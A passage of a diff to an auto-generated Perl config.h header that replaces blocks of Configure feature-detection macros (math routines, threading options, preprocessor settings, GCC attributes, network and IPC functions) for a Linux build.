USE_5005THREADS: + * This symbol, if defined, indicates that Perl should be built to + * use the 5.005-based threading implementation. + * Only valid up to 5.8.x. */ -#define HAS_FLOCK_PROTO /**/ - -/* HAS_FMA: - * This symbol, if defined, indicates that the fma routine is - * available to do the multiply-add function. +/* OLD_PTHREADS_API: + * This symbol, if defined, indicates that Perl should + * be built to use the old draft POSIX threads API. */ -#define HAS_FMA /**/ - -/* HAS_FMAX: - * This symbol, if defined, indicates that the fmax routine is - * available to do the maximum function. +/* USE_REENTRANT_API: + * This symbol, if defined, indicates that Perl should + * try to use the various _r versions of library functions. + * This is extremely experimental. */ -#define HAS_FMAX /**/ +/*#define USE_5005THREADS / **/ +/*#define USE_ITHREADS / **/ +#if defined(USE_5005THREADS) && !defined(USE_ITHREADS) +#define USE_THREADS /* until src is revised*/ +#endif +/*#define OLD_PTHREADS_API / **/ +/*#define USE_REENTRANT_API / **/ -/* HAS_FMIN: - * This symbol, if defined, indicates that the fmin routine is - * available to do the minimum function. +/* PERL_VENDORARCH: + * If defined, this symbol contains the name of a private library. + * The library is private in the sense that it needn't be in anyone's + * execution path, but it should be accessible by the world. + * It may have a ~ on the front. + * The standard distribution will put nothing in this directory. + * Vendors who distribute perl may wish to place their own + * architecture-dependent modules and extensions in this directory with + * MakeMaker Makefile.PL INSTALLDIRS=vendor + * or equivalent. See INSTALL for details. */ -#define HAS_FMIN /**/ - -/* HAS_FP_CLASS: - * This symbol, if defined, indicates that the fp_class routine is - * available to classify doubles. Available for example in Digital UNIX. - * The returned values are defined in and are: - * - * FP_SNAN Signaling NaN (Not-a-Number) - * FP_QNAN Quiet NaN (Not-a-Number) - * FP_POS_INF +infinity - * FP_NEG_INF -infinity - * FP_POS_NORM Positive normalized - * FP_NEG_NORM Negative normalized - * FP_POS_DENORM Positive denormalized - * FP_NEG_DENORM Negative denormalized - * FP_POS_ZERO +0.0 (positive zero) - * FP_NEG_ZERO -0.0 (negative zero) +/* PERL_VENDORARCH_EXP: + * This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. */ -/*#define HAS_FP_CLASS / **/ +/*#define PERL_VENDORARCH "" / **/ +/*#define PERL_VENDORARCH_EXP "" / **/ -/* HAS_FP_CLASSL: - * This symbol, if defined, indicates that the fp_classl routine is - * available to classify long doubles. Available for example in - * Digital UNIX. See for possible values HAS_FP_CLASS. +/* PERL_VENDORLIB_EXP: + * This symbol contains the ~name expanded version of VENDORLIB, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. */ -/*#define HAS_FP_CLASSL / **/ - -/* HAS_FPCLASS: - * This symbol, if defined, indicates that the fpclass routine is - * available to classify doubles. Available for example in Solaris/SVR4. - * The returned values are defined in and are: - * - * FP_SNAN signaling NaN - * FP_QNAN quiet NaN - * FP_NINF negative infinity - * FP_PINF positive infinity - * FP_NDENORM negative denormalized non-zero - * FP_PDENORM positive denormalized non-zero - * FP_NZERO negative zero - * FP_PZERO positive zero - * FP_NNORM negative normalized non-zero - * FP_PNORM positive normalized non-zero +/* PERL_VENDORLIB_STEM: + * This define is PERL_VENDORLIB_EXP with any trailing version-specific component + * removed. The elements in inc_version_list (inc_version_list.U) can + * be tacked onto this variable to generate a list of directories to search. */ -/*#define HAS_FPCLASS / **/ +/*#define PERL_VENDORLIB_EXP "" / **/ +/*#define PERL_VENDORLIB_STEM "" / **/ -/* HAS_FPCLASSIFY: - * This symbol, if defined, indicates that the fpclassify routine is - * available to classify doubles. Available for example in HP-UX. - * The returned values are defined in and are - * - * FP_NORMAL Normalized - * FP_ZERO Zero - * FP_INFINITE Infinity - * FP_SUBNORMAL Denormalized - * FP_NAN NaN - * +/* HAS_STATIC_INLINE: + * This symbol, if defined, indicates that the C compiler supports + * C99-style static inline. That is, the function can't be called + * from another translation unit. */ -/* HAS_FP_CLASSIFY: - * This symbol, if defined, indicates that the fp_classify routine is - * available to classify doubles. The values are defined in - * - * FP_NORMAL Normalized - * FP_ZERO Zero - * FP_INFINITE Infinity - * FP_SUBNORMAL Denormalized - * FP_NAN NaN - * +/* PERL_STATIC_INLINE: + * This symbol gives the best-guess incantation to use for static + * inline functions. If HAS_STATIC_INLINE is defined, this will + * give C99-style inline. If HAS_STATIC_INLINE is not defined, + * this will give a plain 'static'. It will always be defined + * to something that gives static linkage. + * Possibilities include + * static inline (c99) + * static __inline__ (gcc -ansi) + * static __inline (MSVC) + * static _inline (older MSVC) + * static (c89 compilers) */ -#define HAS_FPCLASSIFY /**/ -/*#define HAS_FP_CLASSIFY / **/ +#define HAS_STATIC_INLINE /**/ +#define PERL_STATIC_INLINE static __inline__ /**/ -/* HAS_FPCLASSL: - * This symbol, if defined, indicates that the fpclassl routine is - * available to classify long doubles. Available for example in IRIX. - * The returned values are defined in and are: - * - * FP_SNAN signaling NaN - * FP_QNAN quiet NaN - * FP_NINF negative infinity - * FP_PINF positive infinity - * FP_NDENORM negative denormalized non-zero - * FP_PDENORM positive denormalized non-zero - * FP_NZERO negative zero - * FP_PZERO positive zero - * FP_NNORM negative normalized non-zero - * FP_PNORM positive normalized non-zero +/* EBCDIC: + * This symbol, if defined, indicates that this system uses + * EBCDIC encoding. */ -/*#define HAS_FPCLASSL / **/ +/*#define EBCDIC / **/ -/* HAS_FPGETROUND: - * This symbol, if defined, indicates that the fpgetround routine is - * available to get the floating point rounding mode. +/* OSNAME: + * This symbol contains the name of the operating system, as determined + * by Configure. You shouldn't rely on it too much; the specific + * feature tests from Configure are generally more reliable. */ -/*#define HAS_FPGETROUND / **/ - -/* HAS_FPOS64_T: - * This symbol will be defined if the C compiler supports fpos64_t. +/* OSVERS: + * This symbol contains the version of the operating system, as determined + * by Configure. You shouldn't rely on it too much; the specific + * feature tests from Configure are generally more reliable. */ -/*#define HAS_FPOS64_T / **/ +#define OSNAME "linux" /**/ +#define OSVERS "2.6.34.7-0.7-desktop" /**/ -/* HAS_FREXPL: - * This symbol, if defined, indicates that the frexpl routine is - * available to break a long double floating-point number into - * a normalized fraction and an integral power of 2. +/* CAT2: + * This macro concatenates 2 tokens together. */ -#define HAS_FREXPL /**/ - -/* HAS_STRUCT_FS_DATA: - * This symbol, if defined, indicates that the struct fs_data - * to do statfs() is supported. +/* STRINGIFY: + * This macro surrounds its token with double quotes. */ -/*#define HAS_STRUCT_FS_DATA / **/ +#if 42 == 1 +#define CAT2(a,b) a/**/b +#define STRINGIFY(a) "a" +#endif +#if 42 == 42 +#define PeRl_CaTiFy(a, b) a ## b +#define PeRl_StGiFy(a) #a +#define CAT2(a,b) PeRl_CaTiFy(a,b) +#define StGiFy(a) PeRl_StGiFy(a) +#define STRINGIFY(a) PeRl_StGiFy(a) +#endif +#if 42 != 1 && 42 != 42 +#include "Bletch: How does this C preprocessor concatenate tokens?" +#endif -/* HAS_FCHMODAT: - * This symbol is defined if the fchmodat() routine is available. - */ -/* HAS_LINKAT: - * This symbol is defined if the linkat() routine is available. +/* CPPSTDIN: + * This symbol contains the first part of the string which will invoke + * the C preprocessor on the standard input and produce to standard + * output. Typical value of "cc -E" or "/lib/cpp", but it can also + * call a wrapper. See CPPRUN. */ -/* HAS_OPENAT: - * This symbol is defined if the openat() routine is available. +/* CPPMINUS: + * This symbol contains the second part of the string which will invoke + * the C preprocessor on the standard input and produce to standard + * output. This symbol will have the value "-" if CPPSTDIN needs a minus + * to specify standard input, otherwise the value is "". */ -/* HAS_RENAMEAT: - * This symbol is defined if the renameat() routine is available. +/* CPPRUN: + * This symbol contains the string which will invoke a C preprocessor on + * the standard input and produce to standard output. It needs to end + * with CPPLAST, after all other preprocessor flags have been specified. + * The main difference with CPPSTDIN is that this program will never be a + * pointer to a shell wrapper, i.e. it will be empty if no preprocessor is + * available directly to the user. Note that it may well be different from + * the preprocessor used to compile the C program. */ -/* HAS_UNLINKAT: - * This symbol is defined if the unlinkat() routine is available. +/* CPPLAST: + * This symbol is intended to be used along with CPPRUN in the same manner + * symbol CPPMINUS is used with CPPSTDIN. It contains either "-" or "". */ -#define HAS_FCHMODAT /**/ -#define HAS_LINKAT /**/ -#define HAS_OPENAT /**/ -#define HAS_RENAMEAT /**/ -#define HAS_UNLINKAT /**/ +#define CPPSTDIN "cc -E" +#define CPPMINUS "-" +#define CPPRUN "cc -E" +#define CPPLAST "-" -/* HAS_FSEEKO: - * This symbol, if defined, indicates that the fseeko routine is - * available to fseek beyond 32 bits (useful for ILP32 hosts). +/* HAS_ACCESS: + * This manifest constant lets the C program know that the access() + * system call is available to check for accessibility using real UID/GID. + * (always present on UNIX.) */ -#define HAS_FSEEKO /**/ +#define HAS_ACCESS /**/ -/* HAS_FSTATFS: - * This symbol, if defined, indicates that the fstatfs routine is - * available to stat filesystems by file descriptors. +/* HASATTRIBUTE_FORMAT: + * Can we handle GCC attribute for checking printf-style formats */ -#define HAS_FSTATFS /**/ - -/* HAS_FSYNC: - * This symbol, if defined, indicates that the fsync routine is - * available to write a file's modified data and attributes to - * permanent storage. +/* PRINTF_FORMAT_NULL_OK: + * Allows __printf__ format to be null when checking printf-style */ -#define HAS_FSYNC /**/ - -/* HAS_FTELLO: - * This symbol, if defined, indicates that the ftello routine is - * available to ftell beyond 32 bits (useful for ILP32 hosts). +/* HASATTRIBUTE_MALLOC: + * Can we handle GCC attribute for malloc-style functions. */ -#define HAS_FTELLO /**/ - -/* HAS_FUTIMES: - * This symbol, if defined, indicates that the futimes routine is - * available to change file descriptor time stamps with struct timevals. +/* HASATTRIBUTE_NONNULL: + * Can we handle GCC attribute for nonnull function parms. */ -#define HAS_FUTIMES /**/ - -/* HAS_GAI_STRERROR: - * This symbol, if defined, indicates that the gai_strerror routine - * is available to translate error codes returned by getaddrinfo() - * into human readable strings. +/* HASATTRIBUTE_NORETURN: + * Can we handle GCC attribute for functions that do not return */ -#define HAS_GAI_STRERROR /**/ - -/* HAS_GETADDRINFO: - * This symbol, if defined, indicates that the getaddrinfo() function - * is available for use. +/* HASATTRIBUTE_PURE: + * Can we handle GCC attribute for pure functions */ -#define HAS_GETADDRINFO /**/ - -/* HAS_GETCWD: - * This symbol, if defined, indicates that the getcwd routine is - * available to get the current working directory. +/* HASATTRIBUTE_UNUSED: + * Can we handle GCC attribute for unused variables and arguments */ -#define HAS_GETCWD /**/ - -/* HAS_GETESPWNAM: - * This symbol, if defined, indicates that the getespwnam system call is - * available to retrieve enhanced (shadow) password entries by name. +/* HASATTRIBUTE_DEPRECATED: + * Can we handle GCC attribute for marking deprecated APIs */ -/*#define HAS_GETESPWNAM / **/ - -/* HAS_GETFSSTAT: - * This symbol, if defined, indicates that the getfsstat routine is - * available to stat filesystems in bulk. +/* HASATTRIBUTE_WARN_UNUSED_RESULT: + * Can we handle GCC attribute for warning on unused results */ -/*#define HAS_GETFSSTAT / **/ +#define HASATTRIBUTE_DEPRECATED /**/ +#define HASATTRIBUTE_FORMAT /**/ +#define PRINTF_FORMAT_NULL_OK /**/ +#define HASATTRIBUTE_NORETURN /**/ +#define HASATTRIBUTE_MALLOC /**/ +#define HASATTRIBUTE_NONNULL /**/ +#define HASATTRIBUTE_PURE /**/ +#define HASATTRIBUTE_UNUSED /**/ +#define HASATTRIBUTE_WARN_UNUSED_RESULT /**/ -/* HAS_GETITIMER: - * This symbol, if defined, indicates that the getitimer routine is - * available to return interval timers. +/* HASCONST: + * This symbol, if defined, indicates that this C compiler knows about + * the const type. There is no need to actually test for that symbol + * within your programs. The mere use of the "const" keyword will + * trigger the necessary tests. */ -#define HAS_GETITIMER /**/ +#define HASCONST /**/ +#ifndef HASCONST +#define const +#endif -/* HAS_GETMNT: - * This symbol, if defined, indicates that the getmnt routine is - * available to get filesystem mount info by filename. +/* HAS_CSH: + * This symbol, if defined, indicates that the C-shell exists. */ -/*#define HAS_GETMNT / **/ - -/* HAS_GETMNTENT: - * This symbol, if defined, indicates that the getmntent routine is - * available to iterate through mounted file systems to get their info. +/* CSH: + * This symbol, if defined, contains the full pathname of csh. */ -#define HAS_GETMNTENT /**/ +#define HAS_CSH /**/ +#ifdef HAS_CSH +#define CSH "/usr/bin/tcsh" /**/ +#endif -/* HAS_GETNAMEINFO: - * This symbol, if defined, indicates that the getnameinfo() function - * is available for use. +/* SETUID_SCRIPTS_ARE_SECURE_NOW: + * This symbol, if defined, indicates that the bug that prevents + * setuid scripts from being secure is not present in this kernel. */ -#define HAS_GETNAMEINFO /**/ - -/* HAS_GETPRPWNAM: - * This symbol, if defined, indicates that the getprpwnam system call is - * available to retrieve protected (shadow) password entries by name. +/* DOSUID: + * This symbol, if defined, indicates that the C program should + * check the script that it is executing for setuid/setgid bits, and + * attempt to emulate setuid/setgid on systems that have disabled + * setuid #! scripts because the kernel can't do it securely. + * It is up to the package designer to make sure that this emulation + * is done securely. Among other things, it should do an fstat on + * the script it just opened to make sure it really is a setuid/setgid + * script, it should make sure the arguments passed correspond exactly + * to the argument on the #! line, and it should not trust any + * subprocesses to which it must pass the filename rather than the + * file descriptor of the script to be executed. */ -/*#define HAS_GETPRPWNAM / **/ +/*#define SETUID_SCRIPTS_ARE_SECURE_NOW / **/ +/*#define DOSUID / **/ -/* HAS_GETSPNAM: - * This symbol, if defined, indicates that the getspnam system call is - * available to retrieve SysV shadow password entries by name. +/* HAS_ENDGRENT: + * This symbol, if defined, indicates that the getgrent routine is + * available for finalizing sequential access of the group database. */ -#define HAS_GETSPNAM /**/ +#define HAS_ENDGRENT /**/ -/* HAS_HASMNTOPT: - * This symbol, if defined, indicates that the hasmntopt routine is - * available to query the mount options of file systems. +/* HAS_ENDHOSTENT: + * This symbol, if defined, indicates that the endhostent() routine is + * available to close whatever was being used for host queries. */ -#define HAS_HASMNTOPT /**/ +#define HAS_ENDHOSTENT /**/ -/* HAS_HYPOT: - * This symbol, if defined, indicates that the hypot routine is - * available to do the hypotenuse function. +/* HAS_ENDNETENT: + * This symbol, if defined, indicates that the endnetent() routine is + * available to close whatever was being used for network queries. */ -#define HAS_HYPOT /**/ +#define HAS_ENDNETENT /**/ -/* HAS_ILOGB: - * This symbol, if defined, indicates that the ilogb routine is - * available to get integer exponent of a floating-point value. +/* HAS_ENDPROTOENT: + * This symbol, if defined, indicates that the endprotoent() routine is + * available to close whatever was being used for protocol queries. */ -#define HAS_ILOGB /**/ +#define HAS_ENDPROTOENT /**/ -/* HAS_ILOGBL: - * This symbol, if defined, indicates that the ilogbl routine is - * available. If scalbnl is also present we can emulate frexpl. +/* HAS_ENDPWENT: + * This symbol, if defined, indicates that the getgrent routine is + * available for finalizing sequential access of the passwd database. */ -#define HAS_ILOGBL /**/ +#define HAS_ENDPWENT /**/ -/* HAS_INETNTOP: - * This symbol, if defined, indicates that the inet_ntop() function - * is available to parse IPv4 and IPv6 strings. +/* HAS_ENDSERVENT: + * This symbol, if defined, indicates that the endservent() routine is + * available to close whatever was being used for service queries. */ -#define HAS_INETNTOP /**/ +#define HAS_ENDSERVENT /**/ -/* HAS_INETPTON: - * This symbol, if defined, indicates that the inet_pton() function - * is available to parse IPv4 and IPv6 strings. +/* FLEXFILENAMES: + * This symbol, if defined, indicates that the system supports filenames + * longer than 14 characters. */ -#define HAS_INETPTON /**/ +#define FLEXFILENAMES /**/ -/* HAS_INT64_T: - * This symbol will defined if the C compiler supports int64_t. - * Usually the needs to be included, but sometimes - * is enough. +/* HAS_GETGRENT: + * This symbol, if defined, indicates that the getgrent routine is + * available for sequential access of the group database. */ -#define HAS_INT64_T /**/ +#define HAS_GETGRENT /**/ -/* HAS_ISBLANK: - * This manifest constant lets the C program know that isblank - * is available. +/* HAS_GETHOSTBYADDR: + * This symbol, if defined, indicates that the gethostbyaddr() routine is + * available to look up hosts by their IP addresses. */ -#define HAS_ISBLANK /**/ +#define HAS_GETHOSTBYADDR /**/ -/* HAS_ISFINITE: - * This symbol, if defined, indicates that the isfinite routine is - * available to check whether a double is finite (non-infinity non-NaN). +/* HAS_GETHOSTBYNAME: + * This symbol, if defined, indicates that the gethostbyname() routine is + * available to look up host names in some data base or other. */ -#define HAS_ISFINITE /**/ +#define HAS_GETHOSTBYNAME /**/ -/* HAS_ISFINITEL: - * This symbol, if defined, indicates that the isfinitel routine is - * available to check whether a long double is finite. - * (non-infinity non-NaN). +/* HAS_GETHOSTENT: + * This symbol, if defined, indicates that the gethostent() routine is + * available to look up host names in some data base or another. */ -/*#define HAS_ISFINITEL / **/ +#define HAS_GETHOSTENT /**/ -/* HAS_ISINF: - * This symbol, if defined, indicates that the isinf routine is - * available to check whether a double is an infinity. +/* HAS_GETHOSTNAME: + * This symbol, if defined, indicates that the C program may use the + * gethostname() routine to derive the host name. See also HAS_UNAME + * and PHOSTNAME. */ -#define HAS_ISINF /**/ - -/* HAS_ISINFL: - * This symbol, if defined, indicates that the isinfl routine is - * available to check whether a long double is an infinity. +/* HAS_UNAME: + * This symbol, if defined, indicates that the C program may use the + * uname() routine to derive the host name. See also HAS_GETHOSTNAME + * and PHOSTNAME. + */ +/* PHOSTNAME: + * This symbol, if defined, indicates the command to feed to the + * popen() routine to derive the host name. See also HAS_GETHOSTNAME + * and HAS_UNAME. Note that the command uses a fully qualified path, + * so that it is safe even if used by a process with super-user + * privileges. + */ +/* HAS_PHOSTNAME: + * This symbol, if defined, indicates that the C program may use the + * contents of PHOSTNAME as a command to feed to the popen() routine + * to derive the host name. */ -#define HAS_ISINFL /**/ +#define HAS_GETHOSTNAME /**/ +#define HAS_UNAME /**/ +/*#define HAS_PHOSTNAME / **/ +#ifdef HAS_PHOSTNAME +#define PHOSTNAME "/bin/hostname" /* How to get the host name */ +#endif -/* HAS_ISLESS: - * This symbol, if defined, indicates that the isless routine is - * available to do the isless function. +/* HAS_GETNETBYADDR: + * This symbol, if defined, indicates that the getnetbyaddr() routine is + * available to look up networks by their IP addresses. */ -/*#define HAS_ISLESS / **/ +#define HAS_GETNETBYADDR /**/ -/* HAS_ISNAN: - * This symbol, if defined, indicates that the isnan routine is - * available to check whether a double is a NaN. +/* HAS_GETNETBYNAME: + * This symbol, if defined, indicates that the getnetbyname() routine is + * available to look up networks by their names. */ -#define HAS_ISNAN /**/ +#define HAS_GETNETBYNAME /**/ -/* HAS_ISNANL: - * This symbol, if defined, indicates that the isnanl routine is - * available to check whether a long double is a NaN. +/* HAS_GETNETENT: + * This symbol, if defined, indicates that the getnetent() routine is + * available to look up network names in some data base or another. */ -#define HAS_ISNANL /**/ +#define HAS_GETNETENT /**/ -/* HAS_ISNORMAL: - * This symbol, if defined, indicates that the isnormal routine is - * available to check whether a double is normal (non-zero normalized). +/* HAS_GETPROTOENT: + * This symbol, if defined, indicates that the getprotoent() routine is + * available to look up protocols in some data base or another. */ -#define HAS_ISNORMAL /**/ +#define HAS_GETPROTOENT /**/ -/* HAS_J0: - * This symbol, if defined, indicates to the C program that the - * j0() function is available for Bessel functions of the first - * kind of the order zero, for doubles. +/* HAS_GETPGRP: + * This symbol, if defined, indicates that the getpgrp routine is + * available to get the current process group. */ -/* HAS_J0L: - * This symbol, if defined, indicates to the C program that the - * j0l() function is available for Bessel functions of the first - * kind of the order zero, for long doubles. +/* USE_BSD_GETPGRP: + * This symbol, if defined, indicates that getpgrp needs one + * arguments whereas USG one needs none. */ -#define HAS_J0 /**/ -#define HAS_J0L /**/ +#define HAS_GETPGRP /**/ +/*#define USE_BSD_GETPGRP / **/ -/* HAS_LC_MONETARY_2008: - * This symbol, if defined, indicates that the localeconv routine is - * available and has the additional members added in POSIX 1003.1-2008. +/* HAS_GETPROTOBYNAME: + * This symbol, if defined, indicates that the getprotobyname() + * routine is available to look up protocols by their name. */ -#define HAS_LC_MONETARY_2008 /**/ - -/* HAS_LDBL_DIG: - * This symbol, if defined, indicates that this system's - * or defines the symbol LDBL_DIG, which is the number - * of significant digits in a long double precision number. Unlike - * for DBL_DIG, there's no good guess for LDBL_DIG if it is undefined. +/* HAS_GETPROTOBYNUMBER: + * This symbol, if defined, indicates that the getprotobynumber() + * routine is available to look up protocols by their number. */ -#define HAS_LDBL_DIG /* */ +#define HAS_GETPROTOBYNAME /**/ +#define HAS_GETPROTOBYNUMBER /**/ -/* HAS_LGAMMA: - * This symbol, if defined, indicates that the lgamma routine is - * available to do the log gamma function. See also HAS_TGAMMA and - * HAS_LGAMMA_R. +/* HAS_GETPWENT: + * This symbol, if defined, indicates that the getpwent routine is + * available for sequential access of the passwd database. + * If this is not available, the older getpw() function may be available. */ -#define HAS_LGAMMA /**/ +#define HAS_GETPWENT /**/ -/* HAS_LGAMMA_R: - * This symbol, if defined, indicates that the lgamma_r routine is - * available to do the log gamma function without using the global - * signgam variable. +/* HAS_GETSERVENT: + * This symbol, if defined, indicates that the getservent() routine is + * available to look up network services in some data base or another. */ -#define HAS_LGAMMA_R /**/ +#define HAS_GETSERVENT /**/ -/* LIBM_LIB_VERSION: - * This symbol, if defined, indicates that libm exports _LIB_VERSION - * and that math.h defines the enum to manipulate it. +/* HAS_GETSERVBYNAME: + * This symbol, if defined, indicates that the getservbyname() + * routine is available to look up services by their name. */ -#define LIBM_LIB_VERSION /**/ - -/* HAS_LLRINT: - * This symbol, if defined, indicates that the llrint routine is - * available to return the long long value closest to a double - * (according to the current rounding mode). +/* HAS_GETSERVBYPORT: + * This symbol, if defined, indicates that the getservbyport() + * routine is available to look up services by their port. */ -#define HAS_LLRINT /**/ +#define HAS_GETSERVBYNAME /**/ +#define HAS_GETSERVBYPORT /**/ -/* HAS_LLRINTL: - * This symbol, if defined, indicates that the llrintl routine is - * available to return the long long value closest to a long double - * (according to the current rounding mode). +/* HAS_HTONL: + * This symbol, if defined, indicates that the htonl() routine (and + * friends htons() ntohl() ntohs()) are available to do network + * order byte swapping. */ -#define HAS_LLRINTL /**/ - -/* HAS_LLROUND: - * This symbol, if defined, indicates that the llround routine is - * available to return the nearest long long value. +/* HAS_HTONS: + * This symbol, if defined, indicates that the htons() routine (and + * friends htonl() ntohl() ntohs()) are available to do network + * order byte swapping. */ -#define HAS_LLROUND /**/ - -/* HAS_LLROUNDL: - * This symbol, if defined, indicates that the llroundl routine is - * available to return the nearest long long value away from zero of - * the long double argument value. +/* HAS_NTOHL: + * This symbol, if defined, indicates that the ntohl() routine (and + * friends htonl() htons() ntohs()) are available to do network + * order byte swapping. */ -#define HAS_LLROUNDL /**/ - -/* HAS_LOG1P: - * This symbol, if defined, indicates that the log1p routine is - * available to do the logarithm of 1 plus argument function. +/* HAS_NTOHS: + * This symbol, if defined, indicates that the ntohs() routine (and + * friends htonl() htons() ntohl()) are available to do network + * order byte swapping. */ -#define HAS_LOG1P /**/ +#define HAS_HTONL /**/ +#define HAS_HTONS /**/ +#define HAS_NTOHL /**/ +#define HAS_NTOHS /**/ -/* HAS_LOG2: - * This symbol, if defined, indicates that the log2 routine is - * available to do the log2 function. +/* HAS_LONG_DOUBLE: + * This symbol will be defined if the C compiler supports long + * doubles. */ -#define HAS_LOG2 /**/ - -/* HAS_LOGB: - * This symbol, if defined, indicates that the logb routine is - * available to do the logb function. +/* LONG_DOUBLESIZE: + * This symbol contains the size of a long double, so that the + * C preprocessor can make decisions based on it. It is only + * defined if the system supports long doubles. */ -#define HAS_LOGB /**/ +#define HAS_LONG_DOUBLE /**/ +#ifdef HAS_LONG_DOUBLE +#define LONG_DOUBLESIZE 12 /**/ +#endif -/* HAS_LRINT: - * This symbol, if defined, indicates that the lrint routine is - * available to return the integral value closest to a double - * (according to the current rounding mode). +/* HAS_LONG_LONG: + * This symbol will be defined if the C compiler supports long long. */ -#define HAS_LRINT /**/ - -/* HAS_LRINTL: - * This symbol, if defined, indicates that the lrintl routine is - * available to return the integral value closest to a long double - * (according to the current rounding mode). +/* LONGLONGSIZE: + * This symbol contains the size of a long long, so that the + * C preprocessor can make decisions based on it. It is only + * defined if the system supports long long. */ -#define HAS_LRINTL /**/ +#define HAS_LONG_LONG /**/ +#ifdef HAS_LONG_LONG +#define LONGLONGSIZE 8 /**/ +#endif -/* HAS_LROUND: - * This symbol, if defined, indicates that the lround routine is - * available to return the nearest integral value. +/* HAS_MEMCHR: + * This symbol, if defined, indicates that the memchr routine is available + * to locate characters within a C string. */ -#define HAS_LROUND /**/ +#define HAS_MEMCHR /**/ -/* HAS_LROUNDL: - * This symbol, if defined, indicates that the lroundl routine is - * available to return the nearest integral value away from zero of - * the long double argument value. +/* HAS_MKSTEMP: + * This symbol, if defined, indicates that the mkstemp routine is + * available to exclusively create and open a uniquely named + * temporary file. */ -#define HAS_LROUNDL /**/ +#define HAS_MKSTEMP /**/ -/* HAS_MADVISE: - * This symbol, if defined, indicates that the madvise system call is +/* HAS_MMAP: + * This symbol, if defined, indicates that the mmap system call is * available to map a file into memory. */ -#define HAS_MADVISE /**/ - -/* HAS_MALLOC_SIZE: - * This symbol, if defined, indicates that the malloc_size - * routine is available for use. +/* Mmap_t: + * This symbol holds the return type of the mmap() system call + * (and simultaneously the type of the first argument). + * Usually set to 'void *' or 'caddr_t'. */ -/*#define HAS_MALLOC_SIZE / **/ +#define HAS_MMAP /**/ +#define Mmap_t void * /**/ -/* HAS_MALLOC_GOOD_SIZE: - * This symbol, if defined, indicates that the malloc_good_size - * routine is available for use. +/* HAS_MSG: + * This symbol, if defined, indicates that the entire msg*(2) library is + * supported (IPC mechanism based on message queues). */ -/*#define HAS_MALLOC_GOOD_SIZE / **/ +#define HAS_MSG /**/ -/* HAS_MEMMEM: - * This symbol, if defined, indicates that the memmem routine is - * available to return a pointer to the start of the first occurance - * of a substring in a memory area (or NULL if not found). +/* HAS_SEM: + * This symbol, if defined, indicates that the entire sem*(2) library is + * supported. */ -#define HAS_MEMMEM /**/ +#define HAS_SEM /**/ -/* HAS_MEMRCHR: - * This symbol, if defined, indicates that the memrchr routine is - * available to return a pointer to the last occurrence of a byte in - * a memory area (or NULL if not found). +/* HAS_SETGRENT: + * This symbol, if defined, indicates that the setgrent routine is + * available for initializing sequential access of the group database. */ -#define HAS_MEMRCHR /**/ +#define HAS_SETGRENT /**/ -/* HAS_MKDTEMP: - * This symbol, if defined, indicates that the mkdtemp routine is - * available to exclusively create a uniquely named temporary directory. +/* HAS_SETHOSTENT: + * This symbol, if defined, indicates that the sethostent() routine is + * available. */ -#define HAS_MKDTEMP /**/ +#define HAS_SETHOSTENT /**/ -/* HAS_MKOSTEMP: - * This symbol, if defined, indicates that the mkostemp routine is - * available to exclusively create and open a uniquely named - * temporary file. +/* HAS_SETNETENT: + * This symbol, if defined, indicates that the setnetent() routine is + * available. */ -#define HAS_MKOSTEMP /**/ +#define HAS_SETNETENT /**/ -/* HAS_MKSTEMPS: - * This symbol, if defined, indicates that the mkstemps routine is - * available to exclusively create and open a uniquely named - * (with a suffix) temporary file. +/* HAS_SETPROTOENT: + * This symbol, if defined, indicates that the setprotoent() routine is + * available. */ -#define HAS_MKSTEMPS /**/ +#define HAS_SETPROTOENT /**/ -/* HAS_MODFL: - * This symbol, if defined, indicates that the modfl routine is - * available to split a long double x into a fractional part f and - * an integer part i such that |f| < 1.0 and (f + i) = x. - */ -/* HAS_MODFL_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the modfl() function. Otherwise, it is up - * to the program to supply one. +/* HAS_SETPGRP: + * This symbol, if defined, indicates that the setpgrp routine is + * available to set the current process group. */ -#define HAS_MODFL /**/ -#define HAS_MODFL_PROTO /**/ - -/* HAS_MPROTECT: - * This symbol, if defined, indicates that the mprotect system call is - * available to modify the access protection of a memory mapped file. +/* USE_BSD_SETPGRP: + * This symbol, if defined, indicates that setpgrp needs two + * arguments whereas USG one needs none. See also HAS_SETPGID + * for a POSIX interface. */ -#define HAS_MPROTECT /**/ +#define HAS_SETPGRP /**/ +/*#define USE_BSD_SETPGRP / **/ -/* HAS_STRUCT_MSGHDR: - * This symbol, if defined, indicates that the struct msghdr - * is supported. +/* HAS_SETPWENT: + * This symbol, if defined, indicates that the setpwent routine is + * available for initializing sequential access of the passwd database. */ -#define HAS_STRUCT_MSGHDR /**/ +#define HAS_SETPWENT /**/ -/* HAS_NAN: - * This symbol, if defined, indicates that the nan routine is - * available to generate NaN. +/* HAS_SETSERVENT: + * This symbol, if defined, indicates that the setservent() routine is + * available. */ -#define HAS_NAN /**/ +#define HAS_SETSERVENT /**/ -/* HAS_NANOSLEEP: - * This symbol, if defined, indicates that the nanosleep - * system call is available to sleep with 1E-9 sec accuracy. +/* HAS_SETVBUF: + * This symbol, if defined, indicates that the setvbuf routine is + * available to change buffering on an open stdio stream. + * to a line-buffered mode. */ -#define HAS_NANOSLEEP /**/ +#define HAS_SETVBUF /**/ -/* HAS_NEARBYINT: - * This symbol, if defined, indicates that the nearbyint routine is - * available to return the integral value closest to (according to - * the current rounding mode) to x. +/* HAS_SHM: + * This symbol, if defined, indicates that the entire shm*(2) library is + * supported. */ -#define HAS_NEARBYINT /**/ +#define HAS_SHM /**/ -/* HAS_NEWLOCALE: - * This symbol, if defined, indicates that the newlocale routine is - * available to return a new locale object or modify an existing - * locale object. - */ -/* HAS_FREELOCALE: - * This symbol, if defined, indicates that the freelocale routine is - * available to deallocates the resources associated with a locale object. - */ -/* HAS_USELOCALE: - * This symbol, if defined, indicates that the uselocale routine is - * available to set the current locale for the calling thread. - */ -/* HAS_QUERYLOCALE: - * This symbol, if defined, indicates that the querylocale routine is - * available to return the name of the locale for a category mask. +/* Shmat_t: + * This symbol holds the return type of the shmat() system call. + * Usually set to 'void *' or 'char *'. */ -/* I_XLOCALE: - * This symbol, if defined, indicates to the C program that it should - * include to get uselocale() and its friends. +/* HAS_SHMAT_PROTOTYPE: + * This symbol, if defined, indicates that the sys/shm.h includes + * a prototype for shmat(). Otherwise, it is up to the program to + * guess one. Shmat_t shmat(int, Shmat_t, int) is a good guess, + * but not always right so it should be emitted by the program only + * when 